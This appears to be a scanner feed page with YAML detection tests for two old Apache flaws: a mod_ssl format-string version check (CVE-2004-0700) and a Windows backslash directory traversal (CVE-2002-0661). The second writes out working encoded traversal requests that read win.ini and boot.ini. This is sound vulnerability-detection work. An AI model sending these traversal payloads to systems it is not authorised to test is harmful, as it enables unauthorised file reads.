  the log call as a format string, which may let a remote attacker run code in
  the Apache process.

  The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services),
  reads the `Server:` response header and reports the host when it advertises an
  Apache 1.x server (including Mandrake's Apache-AdvancedExtranetServer 1.x
  build) with a mod_ssl product token older than 2.8.19 (any 1.x, 2.0 to 2.7, and
  2.8.0 to 2.8.18). mod_ssl 2.8.19 and later, Apache 2.x (whose mod_ssl carries
  the Apache 2 version number and is not affected), servers that hide their
  module list and banners naming Darwin (Apple ships its own patched builds) are
  not reported.

  This is a version check: the bug can only be triggered by a malicious upstream
  server answering a proxied request, so nothing is sent beyond the request
  above. Distributions that backported the fix without changing the version are
  reported too.
cves: [CVE-2004-0700]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
confidence_base: 0.30
category: rce
tags: [apache-httpd, mod_ssl, apache-1.3, format-string, version-check, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-0700"
  - "http://www.securityfocus.com/bid/10736"
  - "http://www.modssl.org/source/exp/mod_ssl/CHANGES"

steps:
  # 1 — one plain request; only its response headers are used.
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # 2 — find the Server: header of the header block, require Apache 1.x and compare
  #     its mod_ssl token with the first fixed release 2.8.19, part by part.
  - id: version
    action: script
    condition: "resp.connected == true"
    store_as: ver
    code: |
      let out = #{ vulnerable: false, version: "", server: "" };
      if type_of(resp.banner) == "string" {
        let head = resp.banner;
        let cut = stridx(head, "\r\n\r\n");
        if cut < 0 { cut = stridx(head, "\n\n"); }
        if cut >= 0 { head = substr(head, 0, cut); }
        if stridx(head, "Darwin") < 0 {
          for raw in split(head, "\n") {
            if out.vulnerable { break; }
            let line = eregmatch("^server:[ \\t]*([^\\r]*)", raw, true);
            if line.len() < 2 { continue; }
            if ereg("(^|[^A-Za-z0-9_-])Apache(-AdvancedExtranetServer)?/1\\.[0-9]", line[1]) != true { continue; }
            let m = eregmatch("(^|[^A-Za-z0-9_])mod_ssl/([0-9]{1,6}(\\.[0-9]{1,6})*)", line[1]);
            if m.len() < 3 { continue; }
            let parts = split(m[2], ".");
            let fixed = [2, 8, 19];
            let vuln = false;
            for i in 0..3 {
              let n = if i < parts.len() { int(parts[i]) } else { 0 };
              if n < fixed[i] { vuln = true; break; }
              if n > fixed[i] { break; }
            }
            if vuln {
              out.vulnerable = true;
              out.version = m[2];
              out.server = line[1];
            }
          }
        }
      }
      out

  - id: vulnerable_version
    action: match
    condition: "ver.vulnerable == true"
    source: ver.version
    pattern: "^[0-9]"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 70
        evidence: "Server header '{{ver.server}}': Apache 1.x with mod_ssl {{ver.version}}, older than 2.8.19 (ssl_log format string reachable through mod_proxy; not triggered)."

Apache HTTP Server 2.0 <= 2.0.39 Windows Backslash Directory Traversal

CVECVE-2002-0661
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/apache-httpd/CVE-2002-0661.yaml

Tests Apache HTTP Server 2.0 on Windows, OS/2 and NetWare for the directory traversal fixed in 2.0.40: these releases remove "/../" from request paths but not "\..\", which the operating system also treats as a parent-directory step. The feed requests the default /error/ alias followed by URL-encoded "\.." sequences (four, then eight levels) and the path of a standard Windows file (windows\win.ini, winnt\win.ini or boot.ini), without any login. The file's content in a 200 reply confirms that Apache serves files outside its directories. A control request for an absent file at the same depth must not return any of these files, and the reply must come from an Apache server. When the file cannot be read, a Server header announcing Apache 2.0.0 to 2.0.39 on Win32, OS/2, NetWare or Cygwin is reported as a version-based finding, since a server with the RedirectMatch workaround or files on another drive cannot be confirmed remotely. Only standard Windows configuration files are read.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /error/{{trav}}windows%5cwin.ini HTTP/1.0
  2. Checks winini_r.banner for (?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\])
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /error/{{trav}}winnt%5cwin.ini HTTP/1.0
  4. Checks winnt_r.banner for (?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\])
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /error/{{trav}}boot.ini HTTP/1.0
  6. Checks bootini_r.banner for (?s)^HTTP/1\.[01] 200\b.*\[boot loader\]
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /error/{{trav}}noctis-absent-{{oob_token}}%5c{{win_file_enc}} HTTP/1.0
  8. Checks ctrl_r.banner for (; for 16-bit app support|\[fonts\]|\[boot loader\])
  9. Parses / computes the next value with a Rhai script
  10. Checks win_file for ^(windows\\win\.ini|winnt\\win\.ini|boot\.ini)$ → finding QoD 75: Apache HTTP Server Windows Backslash Directory Traversal (CVE-2002-0661)
  11. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  12. Parses / computes the next value with a Rhai script
  13. Checks root_r.banner for (?im)^Server:[ \t]*Apache(?:-AdvancedExtranetServer)?/2\.0\.[0-3]?[0-… → finding QoD 70: Apache HTTP Server 2.0 <= 2.0.39 on Windows/OS/2/NetWare (CVE-2002-0661)

References:

Feed source — tests/vulnerabilities/apache-httpd/CVE-2002-0661.yaml
# Apache HTTP Server 2.0 <= 2.0.39 on Windows / OS/2 / NetWare — "\.." directory
# traversal (CVE-2002-0661, Apache security bulletin 20020908a, fixed in 2.0.40).
#
# Apache 2.0 before 2.0.40 only removed "/../" segments from the request path,
# while Windows, OS/2 and NetWare also accept "\" as a path separator. An
# encoded "\..\" sequence (%5c%2e%2e%5c) placed after an Alias therefore climbs
# out of the aliased directory. With the default Win32 layout the /error/ alias
# is C:/Program Files/Apache Group/Apache2/error/, four levels below C:\.
#
# Detection (benign, read-only): GET
#   /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c<file, "/" as %5c>
# for windows\win.ini, winnt\win.ini then boot.ini, and match the file CONTENT
# under an HTTP 200 status line (QoD 75). Raw tcp_connect: reqwest would
# normalise the encoded dot segments.
#
# Improvements over the source NASL:
#   - A second pass with eight "\.." segments covers servers installed deeper
#     than the default four levels (extra ".." segments stay at the drive root
#     on Windows).
#   - A control request (same depth, an absent random directory before the file
#     that hit) must come back WITHOUT any file signature, so a server that
#     returns win.ini on every request is not reported (fail-closed).
#   - The proof is only attributed to Apache: the control reply must carry no
#     Server header or one naming Apache (ServerTokens Prod still passes).
#   - Version fallback (QoD 70, the NASL's "could not exploit" report): the
#     version is matched numerically (2.0.0–2.0.39 only), only on the Server
#     header, and also for the OS/2, NetWare and Cygwin builds the advisory
#     lists as affected; it reports e.g. the RedirectMatch workaround or a
#     server whose system drive is not the Apache drive.
#
# Ported from OpenVAS/Greenbone NVT pre2008/apache_win32_dir_trav.nasl
# (GPL-2.0-only).
uid: 59c42ab2-a412-42b3-9a86-193f2e864ae0
name: "Apache HTTP Server 2.0 <= 2.0.39 Windows Backslash Directory Traversal (CVE-2002-0661)"
description: |
  Tests Apache HTTP Server 2.0 on Windows, OS/2 and NetWare for the directory
  traversal fixed in 2.0.40: these releases remove "/../" from request paths
  but not "\..\", which the operating system also treats as a parent-directory
  step. The feed requests the default /error/ alias followed by URL-encoded
  "\.." sequences (four, then eight levels) and the path of a standard Windows
  file (windows\win.ini, winnt\win.ini or boot.ini), without any login. The
  file's content in a 200 reply confirms that Apache serves files outside its
  directories. A control request for an absent file at the same depth must not
  return any of these files, and the reply must come from an Apache server.
  When the file cannot be read, a Server header announcing Apache 2.0.0 to
  2.0.39 on Win32, OS/2, NetWare or Cygwin is reported as a version-based
  finding, since a server with the RedirectMatch workaround or files on
  another drive cannot be confirmed remotely. Only standard Windows
  configuration files are read.
cves: [CVE-2002-0661]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: file-read
confidence_base: 0.30
tags: [apache, httpd, windows, path-traversal, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0661"
  - "http://httpd.apache.org/info/security_bulletin_20020908a.txt"
  - "http://www.securityfocus.com/bid/5434"
  # OpenVAS/Greenbone NASL pre2008/apache_win32_dir_trav.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per traversal depth. Each
  # pass resets the values it reads, so nothing is left over.
  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {connected: false, banner: ""}
    loop:
      var: trav
      over:
        - "%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c"
        - "%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c"

  - id: init-winnt-r
    action: set_var
    var_name: winnt_r
    var_value: {connected: false, banner: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-win-file-enc
    action: set_var
    var_name: win_file_enc
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-apache-ok
    action: set_var
    var_name: apache_ok
    var_value: false

  # ── C:\windows\win.ini ───────────────────────────────────────────────────
  - id: read-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /error/{{trav}}windows%5cwin.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
    case_insensitive: true
    condition: "winini_r.connected == true"
    on_match:
      set_vars:
        win_file: "windows\\win.ini"
        win_file_enc: "windows%5cwin.ini"

  # ── C:\winnt\win.ini (Windows NT / 2000) ─────────────────────────────────
  - id: read-winnt
    action: tcp_connect
    port: "{{port}}"
    send: "GET /error/{{trav}}winnt%5cwin.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file == "" && winini_r.connected == true'
    store_as: winnt_r

  - id: winnt-content
    action: match
    source: winnt_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
    case_insensitive: true
    condition: 'win_file == "" && winnt_r.connected == true'
    on_match:
      set_vars:
        win_file: "winnt\\win.ini"
        win_file_enc: "winnt%5cwin.ini"

  # ── C:\boot.ini (Windows NT / 2000 / XP / 2003) ──────────────────────────
  - id: read-bootini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /error/{{trav}}boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file == "" && winini_r.connected == true'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*\\[boot loader\\]"
    case_insensitive: true
    condition: 'win_file == "" && bootini_r.connected == true'
    on_match:
      set_vars:
        win_file: "boot.ini"
        win_file_enc: "boot.ini"

  # ── Control: same depth, absent random directory before the same file ────
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /error/{{trav}}noctis-absent-{{oob_token}}%5c{{win_file_enc}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    case_insensitive: true
    condition: 'win_file != "" && ctrl_r.connected == true'
    on_match:
      set_vars:
        ctrl_hit: true

  # The reply must come from Apache: no Server header, or one naming Apache.
  - id: apache-gate
    action: script
    condition: 'win_file != "" && ctrl_r.connected == true'
    code: |
      let b = ctrl_r.banner;
      if type_of(b) != "string" || b == "" {
        false
      } else {
        let i = b.index_of("\r\n\r\n");
        let head = if i >= 0 { b.sub_string(0, i) } else { b };
        let sl = egrep("(?i)^server:", head);
        sl == "" || ereg("(?i)^server:[ \\t]*apache", sl)
      }
    store_as: apache_ok

  # ── Finding (control answered, stayed clean, Apache server) ──────────────
  - id: report
    action: match
    source: win_file
    pattern: "^(windows\\\\win\\.ini|winnt\\\\win\\.ini|boot\\.ini)$"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false && apache_ok == true'
    on_match:
      finding:
        title: "Apache HTTP Server Windows Backslash Directory Traversal (CVE-2002-0661)"
        description: "A request for the /error/ alias followed by URL-encoded \"\\..\" sequences returned the content of a Windows system file outside the Apache directories, while the same request for an absent file did not. Any file readable by the Apache service account can be read this way, and scripts outside the CGI directories may be reachable too."
        remediation: "Upgrade Apache HTTP Server to 2.0.40 or later (2.0.x is end of life: move to a supported 2.4 release). As a temporary workaround, add `RedirectMatch 400 \"\\\\\\.\\.\"` to the global server configuration before the first Alias or Redirect directive."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /error/{{trav}}{{win_file_enc}} returned the content of C:\\{{win_file}}; control for an absent file returned no file content"
      stop: true

  # ── Version fallback (runs once, only when no read was confirmed) ────────
  - id: init-root-r
    action: set_var
    var_name: root_r
    var_value: {connected: false, banner: ""}
    loop:
      var: once
      over: ["once"]

  - id: init-server-line
    action: set_var
    var_name: server_line
    var_value: ""

  - id: read-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_r

  # The Server header line alone, for the evidence.
  - id: server-line
    action: script
    condition: "root_r.connected == true"
    code: |
      let b = root_r.banner;
      if type_of(b) != "string" { "" } else {
        let i = b.index_of("\r\n\r\n");
        let head = if i >= 0 { b.sub_string(0, i) } else { b };
        egrep("(?i)^server:", head)
      }
    store_as: server_line

  - id: version
    action: match
    source: root_r.banner
    pattern: "(?im)^Server:[ \\t]*Apache(?:-AdvancedExtranetServer)?/2\\.0\\.[0-3]?[0-9][ \\t]*\\((?:Win32|OS/2|NetWare|Cygwin)\\)"
    condition: "root_r.connected == true"
    on_match:
      finding:
        title: "Apache HTTP Server 2.0 <= 2.0.39 on Windows/OS/2/NetWare (CVE-2002-0661)"
        description: "The Server header announces Apache HTTP Server 2.0.0 to 2.0.39 on a Windows, OS/2, NetWare or Cygwin build, which is affected by a directory traversal through \"\\..\" sequences. Reading a Windows system file through the flaw failed, so the RedirectMatch workaround may already be in place or the files may sit on another drive; the finding is based on the version only."
        remediation: "Upgrade Apache HTTP Server to 2.0.40 or later (2.0.x is end of life: move to a supported 2.4 release). As a temporary workaround, add `RedirectMatch 400 \"\\\\\\.\\.\"` to the global server configuration before the first Alias or Redirect directive."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET / answered with \"{{server_line}}\" (affected Apache 2.0 build); reading a Windows system file through /error/ with \"\\..\" sequences returned no file content"
      stop: true

View these feeds on GitHub